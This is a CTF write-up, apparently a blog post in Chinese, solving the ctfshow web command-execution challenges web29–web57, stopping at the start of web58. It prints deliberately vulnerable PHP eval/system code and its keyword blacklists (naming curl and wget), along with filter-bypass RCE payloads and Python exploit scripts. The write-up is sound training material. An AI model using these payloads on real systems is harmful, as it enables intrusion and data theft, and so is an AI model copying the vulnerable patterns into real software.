【CTFSHOW_Web入门】命令执行
文章目录
- 命令执行
- web29
- web30
- web31
- web32
- web33
- web34
- web35
- web36
- web37
- web38
- web39
- web40
- web41
- web42
- web43
- web44
- web45
- web46
- web47
- web48
- web49
- web50
- web51
- web52
- web53
- web54
- web55
- web56
- web57
- web58
- web59
- web60
- web61
- web62
- web63
- web64
- web65
- web66
- web67
- web68
- web69
- web70
- web71
- web72
- web73
- web74
- web75
- web76
- web77
- web118
- web119
- web120
- web121
- web122
- web124
- 总结
命令执行
web29
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
过滤了 flag
payload
?c=system(“tac%20fla*”);
web30
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
过滤了flag
、system
、php
payload
?c=passthru("tac%20fla*");
web31
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
题解一
system
被过滤可以用passthru
函数绕过, cat
被过滤可以用more、less、nl
绕过(但我试过more不行??),空格被过滤可以用${IFS}
、%09
绕过。
空格绕过
${IFS} 但不能写作 $IFS
$IFS$9
%09
<>
<
$IFS%09
payload
?c=passthru("tac%09fla*");
题解二
以 c
作为跳板执行另一个参数a的命令,a
的命令不受限制
?c=eval($_GET[a]);&a=system("cat flag.php");#之后F12查看源代码?c=eval($_GET[a]);&a=system("tac flag.php");
web32
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
过滤了 单引号、反引号、分号 等符号
文件包含漏洞
payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web33
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
多过滤了双引号,用数组作为参数即可绕过
题解一
同上
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
题解二
?c=require$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web34
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
多过滤了冒号、括号
不能使用 echo
不能使用eval
因为需要括号
同上
payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web35
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
过滤了 尖括号、等于号
同上
payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web36
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
过滤了数字
同上
payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*///flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}
payload
?c=data://text/plain,<?php system("tac fla*");?>
- 当你使用
?c=data://text/plain,<?php system("tac fla*");?>
时,PHP 会通过data://
伪协议动态生成一个 PHP 文件,并将其内容当作 PHP 代码来执行。include()
的作用是加载这个动态生成的文件内容并执行它。- 在这个过程中,
system("tac fla*")
被执行,其输出直接写入到 HTTP 响应流中(stdout),因此你可以看到flag.php
的内容。换句话说,
system()
的输出并不是被include()
捕获,而是直接写入到 HTTP 响应中 。这就是为什么你能看到flag.php
的内容。
web38
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*///flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}
题目过滤 “php” “flag”
将
<?php system(“tac fla*”);?>
进行base64编码得到PD9waHAgc3lzdGVtKCJ0YWMgZmxhKiIpOz8+
但是URl会将 + 解析成空格,所以这个不行
构造payload
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg== #由<?php system("tac flag.php");?> 进行base64编码而来
或者利用 短标签
,将 php
换成=
?c=data://text/plain,<?=%20system("cat%20fla*");?>
?c=data://text/plain,<?=%20system("tac%20fla*");?>
web39
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*///flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}}else{highlight_file(__FILE__);
}
payload
?c=data://text/plain,<?= system("tac fla*");?>?c=data://text/plain,<?php system("tac fla*");?>
web40
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
无参文件读取
题解一
通过构造payload输出当前文件下的文件名
print_r(scandir(‘.’));
但是由于过滤了相关符号,所以不能使用这个payload,要想办法去掉 .
小数点
getallheaders():返回所有的HTTP头信息,返回的是数组⽽eval要求为字符串,所以要⽤implode()函数将数组转换为字符串get_defined_vars():该函数的作⽤是获取所有的已定义变量,返回值也是数组,不过是二维数组,⽤var_dump()输出可以看⻅输出的内容,看⻅在第⼏位之后,可以⽤current()函数来获取其值,详细可以看官⽅函数。payload:var_dump(current(get_defined_vars()));session_id():session_id()可以⽤来获取/设置当前会话 ID,可以⽤这个函数来获取cookie
中的phpsessionid,并且这个值我们是可控的。
如可以在cookie中设置 PHPSESSID=706870696e666f28293b,然后⽤hex2bin()函数,即传⼊?exp=eval(hex2bin(session_id(session_start()))); 并设置cookie:PHP
SESSID=706870696e666f28293b
session_start 函数是为了开启session配合使⽤的函数:
print_r(scandir(‘.’)); 查看当前⽬录下的所有⽂件名 print_r输出数组 print输出字符串
var_dump()
localeconv() 函数返回⼀包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第⼀个值,pos是current的别名
each() 返回数组中当前的键/值对并将数组指针向前移动⼀步
end() 将数组的内部指针指向最后⼀个单元
next() 将数组中的内部指针向前移动⼀位
prev() 将数组中的内部指针倒回⼀位
array_reverse() 以相反的元素顺序返回数组
构造payload等价于 print_r(scandir(‘.’));
?c=print_r(scandir(current(localeconv())));
?c=print_r(scandir(pos(localeconv())));
?c=print_r(scandir(reset(localeconv())));
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
可以发现flag.php在数组的倒数第二个值里,我们可以通过 array_reverse 进行逆转数组,然后用next()函数进行下一个值的读取。以下payload达到的效果是:输出 flag.php
源码,安全绕过字符过滤器
?c=highlight_flie(next(array_reverse(scandir(current(localeconv())))));?c=show_source(next(array_reverse(scandir(current(localeconv())))));
$flag=“ctfshow{d960f2a2-e9a5-4b80-a806-5e6a0e6b85c6}”;
题解二
✅ Step 1: get_defined_vars()
是 PHP 的内置函数,返回当前作用域里定义的所有变量
?c=print_r(get_defined_vars());
返回结果
Array ([_GET] => Array ( [c] => print_r(get_defined_vars()); )[_POST] => Array ( )[_COOKIE] => Array ( )[_FILES] => Array ( )[c] => print_r(get_defined_vars());
)
说明现在已经有变量 $_GET
、$_POST
、还有 c
等都在作用域内。
✅ Step 2: post传参
1=phpinfo();
确认通过 POST 成功地注入了一段代码字符串
Array ([_GET] => Array ( [c] => print_r(get_defined_vars()); ) [_POST] => Array ( [1] => phpinfo(); ) [_COOKIE] => Array ( ) [_FILES] => Array ( ) [c] => print_r(get_defined_vars());
)
✅ Step 3:返回数组
?c=print_r(next(get_defined_vars()));
可以成功拿到phpinfo()数组
然后我们想让 eval()
执行这个 phpinfo();
,但我们不能直接写 eval($_POST['1'])
,因为 [
和 ]
被正则拦截了。
✅ Step 4:
弹出数组
array_pop(...) // 从这个数组中“弹出”最后一个值
从 $_POST
数组中“取出”我们传的值:phpinfo();
?c=print_r(array_pop(next(get_defined_vars())));
页面返回 phpinfo() 这意味着我们已经成功拿到了想要执行的恶意代码字符串
✅ Step 5: 执行代码 得到php配置页面
?c=eval(array_pop(next(get_defined_vars())));
✅ Step 6:post传参
1=system("tac fla*");
用户传入:
?c=eval(array_pop(next(get_defined_vars())))程序执行:
eval("eval(array_pop(next(get_defined_vars())))")第一个 eval 执行:
eval(array_pop(next(get_defined_vars())))第二个 eval 执行:
system("tac fla*");
web41
<?php/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show*/if(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}
?>
这道题过滤了 数字 和 字母 (因为后面 /i
对大小写不敏感),并且不能用 异或、取反、自增等操作(过
滤 $
、+
、-
、^
、~
),但是可以用 |
(或)
题解一
先通过以下 1.php
脚本生成一个 rce_or.txt
,内容是上述可用字符及编码。
#1.php<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);
运行python脚本(注意cmd目录)
...>python rce_or.py http://8f42bff8-638e-4021-b42a-8e4fbb5a0e50.challenge.ctf.show/
#rce_or.py
# -*- coding: utf-8 -*-import requests
import urllib
from sys import *
import osos.system("php rce_or.php") #没有将php写入环境变量需手动运行if(len(argv)!=2):print("="*50)print('USER:python exp.py <url>')print("eg: python exp.py http://ctf.show/")print("="*50)exit(0)url=argv[1]def action(arg):s1=""s2=""for i in arg:f=open("rce_or.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))data={'c':urllib.parse.unquote(param)}r=requests.post(url,data=data)print("\n[*] result:\n"+r.text)
题解二
import re
import requestsavailable = []
url = "http://8f42bff8-638e-4021-b42a-8e4fbb5a0e50.challenge.ctf.show/" # 修改URLfor i in range(0,256):result = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',chr(i),re.I)if result is None:available.append(chr(i))key1 = "system" #修改命令
key2 = "cat flag.php" #修改命令
gkey1 = ""
gkey2 = ""
data1 = ""
data2 = ""def orkey(pos,keys):global gkey1global gkey2for i in range(0,len(available)):for j in range(i,len(available)):if ord(available[i])|ord(available[j]) == ord(keys[pos]):gkey1 += available[i]gkey2 += available[j]returnfor i in range(len(key1)):orkey(i,key1)
data1 = "(\""+gkey1+"\"|"+"\""+gkey2+"\")"gkey1 = ""
gkey2 = ""for i in range(len(key2)):orkey(i,key2)
data2 = "(\""+gkey1+"\"|"+"\""+gkey2+"\")"data ={"c":data1 + data2
}
res = requests.post(url,data)
print(res.text)
web42
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}
/dev/null —— “黑洞”设备文件
/dev/null
是 Linux 系统中一个特殊的设备文件,可以看作一个“数据黑洞”:
- 写入它的所有内容都会被丢弃;
- 读取它则永远什么也得不到(立即返回 EOF)。
📌 常见用途:
操作 意义 command > /dev/null
把标准输出丢弃,禁止输出任何正常信息 command 2> /dev/null
把标准错误丢弃,屏蔽错误信息 command > /dev/null 2>&1
同时屏蔽标准输出和标准错误,终端不会显示任何信息 1>/dev/null 2>&1 的含义和解析
分解成五步解释:
✅ 表达形式:
command 1>/dev/null 2>&1
✅ 关键点详解:
表达部分 含义 1>
标准输出(stdout,文件描述符1)的重定向 /dev/null
重定向的目标是黑洞设备文件,等价于"扔掉" 2>
标准错误(stderr,文件描述符2)的重定向 &1
代表“重定向到与文件描述符1相同的地方”,即stdout当前的去向 🎯 整体理解:
1>/dev/null
:标准输出被重定向到 /dev/null,不显示任何正常信息;2>&1
:标准错误也被重定向到标准输出的目标(此时标准输出已经是 /dev/null),所以错误信息也不显示。✅ 所以最终效果是:所有输出(正常 + 错误)全部被丢弃,终端不会显示任何信息。
题目这里是 $c
参数后面接了个 >/dev/null 2>&1
,使用> /dev/null 2>&1
将命令结果全部丢弃(不进行回显的意思)
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
构造payload
?c=tac fla*;
?c=tac fla*||
?c=tac fla*%0a #利用换行分隔
?c=cat flag.php|| #之后查看源代码
?c=tac%20fla*%26%26 #即为?c=tac%20fla*&&,将前面的命令保留,后面的命令丢弃,&需要URL编码
web43
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
正则过滤 ;
cat
payload参考web42
web44
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
正则过滤 ;
cat
flag
payload参考web42
web45
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
正则过滤 ;
cat
flag
空格
payload参考web42
%09
代替空格
web46
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
正则过滤 ;
cat
flag
空格
数字
$
*
用 ?
代替 *
即可
%09
不是数字
payload参考web42
?c=tac%09fl?g.php||
?c=tac%09fla?.???||
web47
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
在前几题基础上过滤了 more
less
head
sort
tail
payload不变
web48
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
payload:
?c=tac%09fla?.php||
web49
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
payload:
?c=tac%09fla?.php||
web50
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
想到用 <>
代替 %09
但是发现
<>
和?
组合的时候是没有回显输出的
所以使用 \
或 ''
代替 ?
payload
?c=tac<>fla\g.php||
?c=tac<>fla\g.php%0a
?c=tac<>fla''g.php||
web51
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
过滤了 tac
另外同cat功能的函数还有:
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
?c=nl<>fl\ag.php||
payload
web52
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
过滤了 <>
?c=nl${IFS}fla\g.php||
查看源代码后,发现flag换位置了
查看根目录
?c=ls${IFS}/||
查看根目录下的 flag 文件(根目录是 /
)
?c=nl${IFS}/fla\g||
web53
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){echo($c);$d = system($c);echo "<br>".$d;}else{echo 'no';}
}else{highlight_file(__FILE__);
}
甚至不用命令分隔了
payload
?c=nl${IFS}fla\g.php
?c=ta''c${IFS}fla?.php
?c=ca''t${IFS}fla?.php #之后查看源代码
web54
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
题解一
grep test *file
#在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
grep ‘{‘ fla?.php
在fla?.php
匹配到的文件中,查找含有{
的文件,并打印出包含{
的这一行
?c=grep${IFS}%27{%27${IFS}fla?.php或者?c=rev${IFS}fla?.php #没有过滤rev,打印出来的是倒序
题解二
列出当前目录
?c=ls
将 flag.php重命名为 a.txt
?c=mv flag.php a.txt
?c=mv${IFS}fla?.php${IFS}a.txt
再次查看当前目录,可见重命名成功
?c=ls
访问 a.txt 即可
/a.txt
题解三
将flag.php的内容复制到b.txt (不知道为什么这里 fla?.php不行)
?c=cp flag.php b.txt
?c=cp${IFS}fl??.php${IFS}b.txt
再次查看当前目录,可见复制成功
?c=ls
访问 b.txt
/b.txt
web55
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你们在炫技吗?
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
bin目录:
bin为binary的简写主要放置一些系统的必备执行档例如: cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
题解一
把文件 flag.php
的内容用 Base64 编码显示出来!
/bin/base64 flag.php
payload:
?c=/???/????64 ????.???
题解二
把 flag.php
文件压缩成:flag.php.bz2
/usr/bin/bzip2 flag.php
payload:
?c=/???/???/????2 ????.???
访问 /flag.php.bz2
,下载压缩包
/flag.php.bz2
题解三
- Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。(最后一个字母一般/大概率为大写)
- Linux 中
.
(点)命令,或者叫 period,它的作用和source
命令一样,就是用当前的 shell 执行一个文件中的命令。- ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。(不包括 @ 和 [ )
构造一个 post 请求并上传文件
<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="http://dc1bfe3e-910b-4ad5-9130-db7f0cd7cca4.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>
随便上传一个文件
抓包
在 burp 拦截中,通过 GET 方式传递:
?c=.+/???/????????[@-[]并在上传文件内容添加sh命令:
#!/bin/sh
ls
#!/bin/sh
cat flag.php
web56
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你们在炫技吗?
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
在上一题的基础上过滤了数字
题解一
同web55
题解二
python脚本
#ctfshow_web56.pyimport requests
while True:url = 'http://6023df13-bdf0-46e7-aeef-aa61e3407731.challenge.ctf.show/?c=. /???/????????[@-[]' #修改URLflag = requests.post(url=url,files={"file":("flag.txt","cat flag.php")} #修改命令)if("ctf" in flag.text):print(flag.text)break
web57
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
}
可知flag在 36.php 里面,所以要想办法构造 36
echo $(()) = 0
对其按位取反
echo $((~$(()))) = -1
按位取反加起来
echo $(($((~$(())))$((~$(()))))) = -2
对上⾯的按位取反
echo $((~$(($((~$(())))$((~$(()))))))) = 1$(())是⽤来作整数运算
如a=5 b=7 c=2
echo $((a+b*c)) = 19
$(())能进⾏的运算有
+ - * / 加、减、乘、除
% 余数运算
& | ^ ! AND、OR、XOR、NOT运算
负数的 按位取反 是其 绝对值减1
所以我们只要构造出 -37
,然后按位取反就能得到 36
使用python生成
print("$((~$(("+"$((~$(())))"*37+"))))")
payload
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
查看源代码
web58
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
